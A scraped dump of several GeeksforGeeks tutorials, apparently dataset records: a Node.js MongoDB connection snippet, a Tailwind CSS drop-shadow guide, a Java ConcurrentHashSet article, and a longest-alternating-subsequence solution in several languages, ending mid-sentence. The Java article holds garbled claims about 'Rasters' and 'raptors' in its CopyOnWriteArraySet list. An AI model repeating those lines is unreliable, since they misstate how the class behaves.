(err,client)=>{ if(!err) { console.log(\"successful connection with the server\"); } else console.log(\"Error in the connectivity\");})", "e": 27966, "s": 27617, "text": null }, { "code": null, "e": 27983, "s": 27966, "text": "Running command:" }, { "code": null, "e": 27998, "s": 27983, "text": "node index.js\n" }, { "code": null, "e": 28006, "s": 27998, "text": "Output:" }, { "code": null, "e": 28396, "s": 28006, "text": "node index.js\n(node:7016) DeprecationWarning: current Server Discovery and Monitoring engine is deprecated, and will be removed in a future version. To use the new Server Discover and Monitoring engine, pass option { useUnifiedTopology: true } to the MongoClient constructor.\n(Use `node --trace-deprecation ...` to show where the warning was created)\nsuccessful connection with the server\n" }, { "code": null, "e": 28409, "s": 28396, "text": "Node.js-Misc" }, { "code": null, "e": 28417, "s": 28409, "text": "MongoDB" }, { "code": null, "e": 28425, "s": 28417, "text": "Node.js" }, { "code": null, "e": 28442, "s": 28425, "text": "Web Technologies" }, { "code": null, "e": 28469, "s": 28442, "text": "Web technologies Questions" }, { "code": null, "e": 28567, "s": 28469, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28606, "s": 28567, "text": "Spring Boot JpaRepository with Example" }, { "code": null, "e": 28629, "s": 28606, "text": "Aggregation in MongoDB" }, { "code": null, "e": 28656, "s": 28629, "text": "Mongoose Populate() Method" }, { "code": null, "e": 28728, "s": 28656, "text": "MongoDB - Check the existence of the fields in the specified collection" }, { "code": null, "e": 28785, "s": 28728, "text": "How to build a basic CRUD app with Node.js and ReactJS ?" }, { "code": null, "e": 28818, "s": 28785, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 28866, "s": 28818, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 28899, "s": 28866, "text": "Node.js fs.readFileSync() Method" }, { "code": null, "e": 28929, "s": 28899, "text": "Node.js fs.writeFile() Method" } ]
Tailwind CSS Drop Shadow - GeeksforGeeks
23 Mar, 2022 The Drop Shadow class is used to apply a filter to the image to set the shadow of the image. This class creates a blurred shadow in a given offset and color. In CSS, we do that by using the CSS drop-shadow() Function. Tailwind CSS newly added feature brightness in 2.1 version. Drop Shadow: drop-shadow-sm: This class is used to set the small shadow effect. drop-shadow: This class is used to set the normal shadow effect. drop-shadow-md: This class is used to set the medium shadow effect. drop-shadow-lg: This class is used to set the large shadow effect. drop-shadow-xl: This class is used to set the extra-large shadow effect. drop-shadow-2xl: This class is used to set the double extra large shadow effect. drop-shadow-none: This class is used to remove the shadow effect. Syntax: <element class="filter drop-shadow-{amount}">..</element> Example: HTML <!DOCTYPE html><html><head> <link href="https://unpkg.com/tailwindcss@^2.1/dist/tailwind.min.css" rel="stylesheet"></head> <body class="text-center mx-4 space-y-2"> <h1 class="text-green-600 text-5xl font-bold"> GeeksforGeeks </h1> <b>Tailwind CSS Drop Shadow Class</b> <div class="grid grid-flow-col text-center p-4"> <img class="rounded-lg filter drop-shadow-sm" src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg" alt="image"> <img class="rounded-lg filter drop-shadow" src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg" alt="image"> <img class="rounded-lg filter drop-shadow-md" src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg" alt="image"> <img class="rounded-lg filter drop-shadow-lg" src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg" alt="image"> <img class="rounded-lg filter drop-shadow-2xl" src="https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg" alt="image"> </div></body> </html> Output: Tailwind CSS Tailwind-Filters CSS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to insert spaces/tabs in text using HTML/CSS? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to update Node.js and NPM to next version ? How to create footer to stay at the bottom of a Web page? How to apply style to parent if it has child with CSS? Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 37385, "s": 37357, "text": "\n23 Mar, 2022" }, { "code": null, "e": 37663, "s": 37385, "text": "The Drop Shadow class is used to apply a filter to the image to set the shadow of the image. This class creates a blurred shadow in a given offset and color. In CSS, we do that by using the CSS drop-shadow() Function. Tailwind CSS newly added feature brightness in 2.1 version." }, { "code": null, "e": 37676, "s": 37663, "text": "Drop Shadow:" }, { "code": null, "e": 37743, "s": 37676, "text": "drop-shadow-sm: This class is used to set the small shadow effect." }, { "code": null, "e": 37808, "s": 37743, "text": "drop-shadow: This class is used to set the normal shadow effect." }, { "code": null, "e": 37876, "s": 37808, "text": "drop-shadow-md: This class is used to set the medium shadow effect." }, { "code": null, "e": 37943, "s": 37876, "text": "drop-shadow-lg: This class is used to set the large shadow effect." }, { "code": null, "e": 38016, "s": 37943, "text": "drop-shadow-xl: This class is used to set the extra-large shadow effect." }, { "code": null, "e": 38097, "s": 38016, "text": "drop-shadow-2xl: This class is used to set the double extra large shadow effect." }, { "code": null, "e": 38163, "s": 38097, "text": "drop-shadow-none: This class is used to remove the shadow effect." }, { "code": null, "e": 38171, "s": 38163, "text": "Syntax:" }, { "code": null, "e": 38229, "s": 38171, "text": "<element class=\"filter drop-shadow-{amount}\">..</element>" }, { "code": null, "e": 38238, "s": 38229, "text": "Example:" }, { "code": null, "e": 38243, "s": 38238, "text": "HTML" }, { "code": "<!DOCTYPE html><html><head> <link href=\"https://unpkg.com/tailwindcss@^2.1/dist/tailwind.min.css\" rel=\"stylesheet\"></head> <body class=\"text-center mx-4 space-y-2\"> <h1 class=\"text-green-600 text-5xl font-bold\"> GeeksforGeeks </h1> <b>Tailwind CSS Drop Shadow Class</b> <div class=\"grid grid-flow-col text-center p-4\"> <img class=\"rounded-lg filter drop-shadow-sm\" src=\"https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg\" alt=\"image\"> <img class=\"rounded-lg filter drop-shadow\" src=\"https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg\" alt=\"image\"> <img class=\"rounded-lg filter drop-shadow-md\" src=\"https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg\" alt=\"image\"> <img class=\"rounded-lg filter drop-shadow-lg\" src=\"https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg\" alt=\"image\"> <img class=\"rounded-lg filter drop-shadow-2xl\" src=\"https://media.geeksforgeeks.org/wp-content/uploads/20210604014825/QNHrwL2q-100x100.jpg\" alt=\"image\"> </div></body> </html>", "e": 39548, "s": 38243, "text": null }, { "code": null, "e": 39556, "s": 39548, "text": "Output:" }, { "code": null, "e": 39569, "s": 39556, "text": "Tailwind CSS" }, { "code": null, "e": 39586, "s": 39569, "text": "Tailwind-Filters" }, { "code": null, "e": 39590, "s": 39586, "text": "CSS" }, { "code": null, "e": 39607, "s": 39590, "text": "Web Technologies" }, { "code": null, "e": 39705, "s": 39607, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 39755, "s": 39705, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 39817, "s": 39755, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 39865, "s": 39817, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 39923, "s": 39865, "text": "How to create footer to stay at the bottom of a Web page?" }, { "code": null, "e": 39978, "s": 39923, "text": "How to apply style to parent if it has child with CSS?" }, { "code": null, "e": 40018, "s": 39978, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 40051, "s": 40018, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 40096, "s": 40051, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 40139, "s": 40096, "text": "How to fetch data from an API in ReactJS ?" } ]
How to Create a Thread-Safe ConcurrentHashSet in Java? - GeeksforGeeks
23 Mar, 2022 Creating Thread Safe ConcurrentHashSet is not possible before JDK 8 because of the java.util.concurrent package does not have a class called ConcurrentHashSet, but starting with JDK 8, the newly added keySet (the default) and newKeySet() methods to create a ConcurrentHashSet in Java that is supported by ConcurrentHashMap. ConcurrentHashSet can be created by using ConcurrentHashMap as it allows us to use keySet(default value) and newKeySet() methods to return the Set, which happens to be a proper Set. This gives us access to necessary functions like contains(), remove(), etc. These methods can only be used in the ConcurrentHashMap class and not in the ConcurrentMap interface, so we need to use the ConcurrentHashMap reference variable to hold the reference, or we can use a type conversion to convert the ConcurrentHashMap object stored in the ConcurrentMap variable. The problem with this method is that there is only one map and no set, and it cannot perform a set operation on ConcurrentHashMap using virtual values. When some methods require a Set, you can’t pass it, so it’s not very useful. Another option is by calling the keySet() method and the keySet() method actually returns a Set, in which the Set operation can be executed and passed but this method has its limitations that we cannot add new elements to this keyset because it will throw an UnsupportedOperationException. Due to all these limitations newKeySet() method introduced which returns a Set supported by a given type of ConcurrentHashMap, where the value is Boolean. How to create ConcurrentHashSet using newKeyset(): Java // Create the ConcurrentHashMapConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>(); // Create the set by newKeySet() method of ConcurrentHashMapSet<String> set = map.newKeySet(); // add() methodset.add("geeksforgeeks");set.add("geeks"); // contains() method to check whether the element present or// not it will return boolean value (true or false)set.contains("geeks"); // remove() method to remove an element from setset.remove("geeksforgeeks"); This above-mentioned example is not the only way for creating a thread-safe Set in Java. ConcurrentHashSet using keySet(default value): Java // Create ConcurrentHashMapConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>(); // Create Set using the mapSet<String> set = map.keySet(246); // 246 is any default value set.add("GeeksForGeeks"); // Value will remain same as 246 // but we will ge no error. // We can use all the functions like contains(),remove(),etc.// as discussed in the previous code snippet Java // Create ConcurrentHashMapConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>(); // Create Set using the mapSet<String> set = map.keySet(246); // 246 is any default value set.add("GeeksForGeeks"); // Value will remain same as 246 // but we will ge no error. // We can use all the functions like contains(),remove(),etc.// as discussed in the previous code snippet Implementation: Java // Java program to implement thread safe ConcurrentHashSet import java.io.*;import java.util.Set;import java.util.concurrent.ConcurrentHashMap; class GFG { public static void main (String[] args) { // Creating a map ConcurrentHashMap<String,Integer> map = new ConcurrentHashMap<>(); map.put("Geeks",246); map.put("GeeksforGeeks",246); map.put("Java", 200); map.put("Java 8",200); map.put("Threads", 300); // Creating set using keySet() Set concSet = map.keySet(); System.out.println("Initial set: " + concSet); // If we want to add element is the set like // concSet.add("Element"); this will throw an UnsupportedOperationExcetpion // Now as mentioned in the avobe format we have to // create the set using newKeySet() Set <String> penNameSet = ConcurrentHashMap.newKeySet(); penNameSet.add("Flair"); penNameSet.add("Reynolds"); penNameSet.add("Cello"); // Print the set System.out.println("before adding element into concurrent set: " + penNameSet); // Adding new Element in the set penNameSet.add("Classmate"); // Print again to see the change System.out.println("after adding element into concurrent set: " + penNameSet); // Check element present or not if(penNameSet.contains("Reynolds")) { System.out.println("YES"); } else { System.out.println("NO"); } // We can check directly like this and it will return a boolean value System.out.println(penNameSet.contains("Reynolds")); // Remove any element from set penNameSet.remove("Cello"); System.out.println("after removing element from concurrent set: " + penNameSet); }} Initial set: [Threads, Java, GeeksforGeeks, Geeks, Java 8] before adding element into concurrent set: [Cello, Reynolds, Flair] after adding element into concurrent set: [Cello, Classmate, Reynolds, Flair] YES true after removing element from concurrent set: [Classmate, Reynolds, Flair] These are the methods to create ConcurrentHashSet in Java 8. The JDK 8 API has all the major features like lambda expression and streams along with these small changes which make writing code easy. The following are some important properties of CopyOnWriteArraySet: It is best suited for very small applications, the number of read-only operations far exceeds variable operations, and it is necessary to prevent interference between threads during traversal. Its thread is safe. Rasters do not support variable delete operations. The traversal through the iterator is fast and does not encounter interference from other threads. The raptors are able to keep a snapshot of the array unchanged when building the iterator. simmytarika5 sagartomar9927 chhabradhanvi Java 8 Java-Collections Picked Java Java Java-Collections Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Stream In Java Constructors in Java Exceptions in Java Functional Interfaces in Java Different ways of Reading a text file in Java Generics in Java Introduction to Java Comparator Interface in Java with Examples Internal Working of HashMap in Java Strings in Java
[ { "code": null, "e": 25225, "s": 25197, "text": "\n23 Mar, 2022" }, { "code": null, "e": 25549, "s": 25225, "text": "Creating Thread Safe ConcurrentHashSet is not possible before JDK 8 because of the java.util.concurrent package does not have a class called ConcurrentHashSet, but starting with JDK 8, the newly added keySet (the default) and newKeySet() methods to create a ConcurrentHashSet in Java that is supported by ConcurrentHashMap." }, { "code": null, "e": 26101, "s": 25549, "text": "ConcurrentHashSet can be created by using ConcurrentHashMap as it allows us to use keySet(default value) and newKeySet() methods to return the Set, which happens to be a proper Set. This gives us access to necessary functions like contains(), remove(), etc. These methods can only be used in the ConcurrentHashMap class and not in the ConcurrentMap interface, so we need to use the ConcurrentHashMap reference variable to hold the reference, or we can use a type conversion to convert the ConcurrentHashMap object stored in the ConcurrentMap variable." }, { "code": null, "e": 26330, "s": 26101, "text": "The problem with this method is that there is only one map and no set, and it cannot perform a set operation on ConcurrentHashMap using virtual values. When some methods require a Set, you can’t pass it, so it’s not very useful." }, { "code": null, "e": 26620, "s": 26330, "text": "Another option is by calling the keySet() method and the keySet() method actually returns a Set, in which the Set operation can be executed and passed but this method has its limitations that we cannot add new elements to this keyset because it will throw an UnsupportedOperationException." }, { "code": null, "e": 26775, "s": 26620, "text": "Due to all these limitations newKeySet() method introduced which returns a Set supported by a given type of ConcurrentHashMap, where the value is Boolean." }, { "code": null, "e": 26826, "s": 26775, "text": "How to create ConcurrentHashSet using newKeyset():" }, { "code": null, "e": 26831, "s": 26826, "text": "Java" }, { "code": "// Create the ConcurrentHashMapConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>(); // Create the set by newKeySet() method of ConcurrentHashMapSet<String> set = map.newKeySet(); // add() methodset.add(\"geeksforgeeks\");set.add(\"geeks\"); // contains() method to check whether the element present or// not it will return boolean value (true or false)set.contains(\"geeks\"); // remove() method to remove an element from setset.remove(\"geeksforgeeks\");", "e": 27297, "s": 26831, "text": null }, { "code": null, "e": 27389, "s": 27300, "text": "This above-mentioned example is not the only way for creating a thread-safe Set in Java." }, { "code": null, "e": 27439, "s": 27391, "text": "ConcurrentHashSet using keySet(default value): " }, { "code": null, "e": 27444, "s": 27439, "text": "Java" }, { "code": "// Create ConcurrentHashMapConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>(); // Create Set using the mapSet<String> set = map.keySet(246); // 246 is any default value set.add(\"GeeksForGeeks\"); // Value will remain same as 246 // but we will ge no error. // We can use all the functions like contains(),remove(),etc.// as discussed in the previous code snippet", "e": 27853, "s": 27444, "text": null }, { "code": null, "e": 27858, "s": 27853, "text": "Java" }, { "code": "// Create ConcurrentHashMapConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>(); // Create Set using the mapSet<String> set = map.keySet(246); // 246 is any default value set.add(\"GeeksForGeeks\"); // Value will remain same as 246 // but we will ge no error. // We can use all the functions like contains(),remove(),etc.// as discussed in the previous code snippet", "e": 28267, "s": 27858, "text": null }, { "code": null, "e": 28286, "s": 28270, "text": "Implementation:" }, { "code": null, "e": 28291, "s": 28286, "text": "Java" }, { "code": "// Java program to implement thread safe ConcurrentHashSet import java.io.*;import java.util.Set;import java.util.concurrent.ConcurrentHashMap; class GFG { public static void main (String[] args) { // Creating a map ConcurrentHashMap<String,Integer> map = new ConcurrentHashMap<>(); map.put(\"Geeks\",246); map.put(\"GeeksforGeeks\",246); map.put(\"Java\", 200); map.put(\"Java 8\",200); map.put(\"Threads\", 300); // Creating set using keySet() Set concSet = map.keySet(); System.out.println(\"Initial set: \" + concSet); // If we want to add element is the set like // concSet.add(\"Element\"); this will throw an UnsupportedOperationExcetpion // Now as mentioned in the avobe format we have to // create the set using newKeySet() Set <String> penNameSet = ConcurrentHashMap.newKeySet(); penNameSet.add(\"Flair\"); penNameSet.add(\"Reynolds\"); penNameSet.add(\"Cello\"); // Print the set System.out.println(\"before adding element into concurrent set: \" + penNameSet); // Adding new Element in the set penNameSet.add(\"Classmate\"); // Print again to see the change System.out.println(\"after adding element into concurrent set: \" + penNameSet); // Check element present or not if(penNameSet.contains(\"Reynolds\")) { System.out.println(\"YES\"); } else { System.out.println(\"NO\"); } // We can check directly like this and it will return a boolean value System.out.println(penNameSet.contains(\"Reynolds\")); // Remove any element from set penNameSet.remove(\"Cello\"); System.out.println(\"after removing element from concurrent set: \" + penNameSet); }}", "e": 30302, "s": 28291, "text": null }, { "code": null, "e": 30589, "s": 30302, "text": "Initial set: [Threads, Java, GeeksforGeeks, Geeks, Java 8]\nbefore adding element into concurrent set: [Cello, Reynolds, Flair]\nafter adding element into concurrent set: [Cello, Classmate, Reynolds, Flair]\nYES\ntrue\nafter removing element from concurrent set: [Classmate, Reynolds, Flair]" }, { "code": null, "e": 30787, "s": 30589, "text": "These are the methods to create ConcurrentHashSet in Java 8. The JDK 8 API has all the major features like lambda expression and streams along with these small changes which make writing code easy." }, { "code": null, "e": 30855, "s": 30787, "text": "The following are some important properties of CopyOnWriteArraySet:" }, { "code": null, "e": 31048, "s": 30855, "text": "It is best suited for very small applications, the number of read-only operations far exceeds variable operations, and it is necessary to prevent interference between threads during traversal." }, { "code": null, "e": 31068, "s": 31048, "text": "Its thread is safe." }, { "code": null, "e": 31119, "s": 31068, "text": "Rasters do not support variable delete operations." }, { "code": null, "e": 31218, "s": 31119, "text": "The traversal through the iterator is fast and does not encounter interference from other threads." }, { "code": null, "e": 31309, "s": 31218, "text": "The raptors are able to keep a snapshot of the array unchanged when building the iterator." }, { "code": null, "e": 31322, "s": 31309, "text": "simmytarika5" }, { "code": null, "e": 31337, "s": 31322, "text": "sagartomar9927" }, { "code": null, "e": 31351, "s": 31337, "text": "chhabradhanvi" }, { "code": null, "e": 31358, "s": 31351, "text": "Java 8" }, { "code": null, "e": 31375, "s": 31358, "text": "Java-Collections" }, { "code": null, "e": 31382, "s": 31375, "text": "Picked" }, { "code": null, "e": 31387, "s": 31382, "text": "Java" }, { "code": null, "e": 31392, "s": 31387, "text": "Java" }, { "code": null, "e": 31409, "s": 31392, "text": "Java-Collections" }, { "code": null, "e": 31507, "s": 31409, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 31522, "s": 31507, "text": "Stream In Java" }, { "code": null, "e": 31543, "s": 31522, "text": "Constructors in Java" }, { "code": null, "e": 31562, "s": 31543, "text": "Exceptions in Java" }, { "code": null, "e": 31592, "s": 31562, "text": "Functional Interfaces in Java" }, { "code": null, "e": 31638, "s": 31592, "text": "Different ways of Reading a text file in Java" }, { "code": null, "e": 31655, "s": 31638, "text": "Generics in Java" }, { "code": null, "e": 31676, "s": 31655, "text": "Introduction to Java" }, { "code": null, "e": 31719, "s": 31676, "text": "Comparator Interface in Java with Examples" }, { "code": null, "e": 31755, "s": 31719, "text": "Internal Working of HashMap in Java" } ]
Longest alternating subsequence - GeeksforGeeks
10 Mar, 2022 A sequence {x1, x2, .. xn} is alternating sequence if its elements satisfy one of the following relations : x1 < x2 > x3 < x4 > x5 < .... xn or x1 > x2 < x3 > x4 < x5 > .... xn Examples : Input: arr[] = {1, 5, 4} Output: 3 The whole arrays is of the form x1 < x2 > x3 Input: arr[] = {1, 4, 5} Output: 2 All subsequences of length 2 are either of the form x1 < x2; or x1 > x2 Input: arr[] = {10, 22, 9, 33, 49, 50, 31, 60} Output: 6 The subsequences {10, 22, 9, 33, 31, 60} or {10, 22, 9, 49, 31, 60} or {10, 22, 9, 50, 31, 60} are longest subsequence of length 6. This problem is an extension of longest increasing subsequence problem, but requires more thinking for finding optimal substructure property in this.We will solve this problem by dynamic Programming method, Let A is given array of length n of integers. We define a 2D array las[n][2] such that las[i][0] contains longest alternating subsequence ending at index i and last element is greater than its previous element and las[i][1] contains longest alternating subsequence ending at index i and last element is smaller than its previous element, then we have following recurrence relation between them, las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element Recursive Formulation: las[i][0] = max (las[i][0], las[j][1] + 1); for all j < i and A[j] < A[i] las[i][1] = max (las[i][1], las[j][0] + 1); for all j < i and A[j] > A[i] The first recurrence relation is based on the fact that, If we are at position i and this element has to bigger than its previous element then for this sequence (upto i) to be bigger we will try to choose an element j ( < i) such that A[j] < A[i] i.e. A[j] can become A[i]’s previous element and las[j][1] + 1 is bigger than las[i][0] then we will update las[i][0]. Remember we have chosen las[j][1] + 1 not las[j][0] + 1 to satisfy alternate property because in las[j][0] last element is bigger than its previous one and A[i] is greater than A[j] which will break the alternating property if we update. So above fact derives first recurrence relation, similar argument can be made for second recurrence relation also. C++ C Java Python3 C# PHP Javascript // C++ program to find longest alternating// subsequence in an array#include<iostream>using namespace std; // Function to return max of two numbersint max(int a, int b){ return (a > b) ? a : b;} // Function to return longest alternating// subsequence lengthint zzis(int arr[], int n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ int las[n][2]; // Initialize all values from 1 for(int i = 0; i < n; i++) las[i][0] = las[i][1] = 1; // Initialize result int res = 1; // Compute values in bottom up manner for(int i = 1; i < n; i++) { // Consider all elements as // previous of arr[i] for(int j = 0; j < i; j++) { // If arr[i] is greater, then // check with las[j][1] if (arr[j] < arr[i] && las[i][0] < las[j][1] + 1) las[i][0] = las[j][1] + 1; // If arr[i] is smaller, then // check with las[j][0] if(arr[j] > arr[i] && las[i][1] < las[j][0] + 1) las[i][1] = las[j][0] + 1; } // Pick maximum of both values at index i if (res < max(las[i][0], las[i][1])) res = max(las[i][0], las[i][1]); } return res;} // Driver codeint main(){ int arr[] = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = sizeof(arr) / sizeof(arr[0]); cout << "Length of Longest alternating " << "subsequence is " << zzis(arr, n); return 0;} // This code is contributed by shivanisinghss2110 // C program to find longest alternating subsequence in// an array#include <stdio.h>#include <stdlib.h> // function to return max of two numbersint max(int a, int b) { return (a > b) ? a : b; } // Function to return longest alternating subsequence lengthint zzis(int arr[], int n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ int las[n][2]; /* Initialize all values from 1 */ for (int i = 0; i < n; i++) las[i][0] = las[i][1] = 1; int res = 1; // Initialize result /* Compute values in bottom up manner */ for (int i = 1; i < n; i++) { // Consider all elements as previous of arr[i] for (int j = 0; j < i; j++) { // If arr[i] is greater, then check with las[j][1] if (arr[j] < arr[i] && las[i][0] < las[j][1] + 1) las[i][0] = las[j][1] + 1; // If arr[i] is smaller, then check with las[j][0] if( arr[j] > arr[i] && las[i][1] < las[j][0] + 1) las[i][1] = las[j][0] + 1; } /* Pick maximum of both values at index i */ if (res < max(las[i][0], las[i][1])) res = max(las[i][0], las[i][1]); } return res;} /* Driver program */int main(){ int arr[] = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = sizeof(arr)/sizeof(arr[0]); printf("Length of Longest alternating subsequence is %d\n", zzis(arr, n) ); return 0;} // Java program to find longest// alternating subsequence in an arrayimport java.io.*; class GFG { // Function to return longest// alternating subsequence lengthstatic int zzis(int arr[], int n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ int las[][] = new int[n][2]; /* Initialize all values from 1 */ for (int i = 0; i < n; i++) las[i][0] = las[i][1] = 1; int res = 1; // Initialize result /* Compute values in bottom up manner */ for (int i = 1; i < n; i++) { // Consider all elements as // previous of arr[i] for (int j = 0; j < i; j++) { // If arr[i] is greater, then // check with las[j][1] if (arr[j] < arr[i] && las[i][0] < las[j][1] + 1) las[i][0] = las[j][1] + 1; // If arr[i] is smaller, then // check with las[j][0] if( arr[j] > arr[i] && las[i][1] < las[j][0] + 1) las[i][1] = las[j][0] + 1; } /* Pick maximum of both values at index i */ if (res < Math.max(las[i][0], las[i][1])) res = Math.max(las[i][0], las[i][1]); } return res;} /* Driver program */public static void main(String[] args){ int arr[] = { 10, 22, 9, 33, 49, 50, 31, 60 }; int n = arr.length; System.out.println("Length of Longest "+ "alternating subsequence is " + zzis(arr, n));}}// This code is contributed by Prerna Saini # Python3 program to find longest# alternating subsequence in an array # Function to return max of two numbersdef Max(a, b): if a > b: return a else: return b # Function to return longest alternating# subsequence lengthdef zzis(arr, n): """las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element""" las = [[0 for i in range(2)] for j in range(n)] # Initialize all values from 1 for i in range(n): las[i][0], las[i][1] = 1, 1 # Initialize result res = 1 # Compute values in bottom up manner for i in range(1, n): # Consider all elements as # previous of arr[i] for j in range(0, i): # If arr[i] is greater, then # check with las[j][1] if (arr[j] < arr[i] and las[i][0] < las[j][1] + 1): las[i][0] = las[j][1] + 1 # If arr[i] is smaller, then # check with las[j][0] if(arr[j] > arr[i] and las[i][1] < las[j][0] + 1): las[i][1] = las[j][0] + 1 # Pick maximum of both values at index i if (res < max(las[i][0], las[i][1])): res = max(las[i][0], las[i][1]) return res # Driver Codearr = [ 10, 22, 9, 33, 49, 50, 31, 60 ]n = len(arr) print("Length of Longest alternating subsequence is" , zzis(arr, n)) # This code is contributed by divyesh072019 // C# program to find longest// alternating subsequence// in an arrayusing System; class GFG{ // Function to return longest// alternating subsequence lengthstatic int zzis(int []arr, int n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ int [,]las = new int[n, 2]; /* Initialize all values from 1 */ for (int i = 0; i < n; i++) las[i, 0] = las[i, 1] = 1; // Initialize result int res = 1; /* Compute values in bottom up manner */ for (int i = 1; i < n; i++) { // Consider all elements as // previous of arr[i] for (int j = 0; j < i; j++) { // If arr[i] is greater, then // check with las[j][1] if (arr[j] < arr[i] && las[i, 0] < las[j, 1] + 1) las[i, 0] = las[j, 1] + 1; // If arr[i] is smaller, then // check with las[j][0] if( arr[j] > arr[i] && las[i, 1] < las[j, 0] + 1) las[i, 1] = las[j, 0] + 1; } /* Pick maximum of both values at index i */ if (res < Math.Max(las[i, 0], las[i, 1])) res = Math.Max(las[i, 0], las[i, 1]); } return res;} // Driver Codepublic static void Main(){ int []arr = {10, 22, 9, 33, 49, 50, 31, 60}; int n = arr.Length; Console.WriteLine("Length of Longest "+ "alternating subsequence is " + zzis(arr, n));}} // This code is contributed by anuj_67. <?php// PHP program to find longest// alternating subsequence in// an array // Function to return longest// alternating subsequence lengthfunction zzis($arr, $n){ /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ $las = array(array()); /* Initialize all values from 1 */ for ( $i = 0; $i < $n; $i++) $las[$i][0] = $las[$i][1] = 1; $res = 1; // Initialize result /* Compute values in bottom up manner */ for ( $i = 1; $i < $n; $i++) { // Consider all elements // as previous of arr[i] for ($j = 0; $j < $i; $j++) { // If arr[i] is greater, then // check with las[j][1] if ($arr[$j] < $arr[$i] and $las[$i][0] < $las[$j][1] + 1) $las[$i][0] = $las[$j][1] + 1; // If arr[i] is smaller, then // check with las[j][0] if($arr[$j] > $arr[$i] and $las[$i][1] < $las[$j][0] + 1) $las[$i][1] = $las[$j][0] + 1; } /* Pick maximum of both values at index i */ if ($res < max($las[$i][0], $las[$i][1])) $res = max($las[$i][0], $las[$i][1]); } return $res;} // Driver Code$arr = array(10, 22, 9, 33, 49, 50, 31, 60 );$n = count($arr);echo "Length of Longest alternating " . "subsequence is ", zzis($arr, $n) ; // This code is contributed by anuj_67.?> <script> // Javascript program to find longest // alternating subsequence in an array // Function to return longest // alternating subsequence length function zzis(arr, n) { /*las[i][0] = Length of the longest alternating subsequence ending at index i and last element is greater than its previous element las[i][1] = Length of the longest alternating subsequence ending at index i and last element is smaller than its previous element */ let las = new Array(n); for (let i = 0; i < n; i++) { las[i] = new Array(2); for (let j = 0; j < 2; j++) { las[i][j] = 0; } } /* Initialize all values from 1 */ for (let i = 0; i < n; i++) las[i][0] = las[i][1] = 1; let res = 1; // Initialize result /* Compute values in bottom up manner */ for (let i = 1; i < n; i++) { // Consider all elements as // previous of arr[i] for (let j = 0; j < i; j++) { // If arr[i] is greater, then // check with las[j][1] if (arr[j] < arr[i] && las[i][0] < las[j][1] + 1) las[i][0] = las[j][1] + 1; // If arr[i] is smaller, then // check with las[j][0] if( arr[j] > arr[i] && las[i][1] < las[j][0] + 1) las[i][1] = las[j][0] + 1; } /* Pick maximum of both values at index i */ if (res < Math.max(las[i][0], las[i][1])) res = Math.max(las[i][0], las[i][1]); } return res; } let arr = [ 10, 22, 9, 33, 49, 50, 31, 60 ]; let n = arr.length; document.write("Length of Longest "+ "alternating subsequence is " + zzis(arr, n)); // This code is contributed by rameshtravel07.</script> Output: Length of Longest alternating subsequence is 6 Time Complexity: O(n2) Auxiliary Space: O(n) Efficient Solution:In the above approach, at any moment we are keeping track of two values (Length of the longest alternating subsequence ending at index i, and last element is smaller than or greater than previous element), for every element on array. To optimise space, we only need to store two variables for element at any index i. inc = Length of longest alternative subsequence so far with current value being greater than it’s previous value.dec = Length of longest alternative subsequence so far with current value being smaller than it’s previous value.The tricky part of this 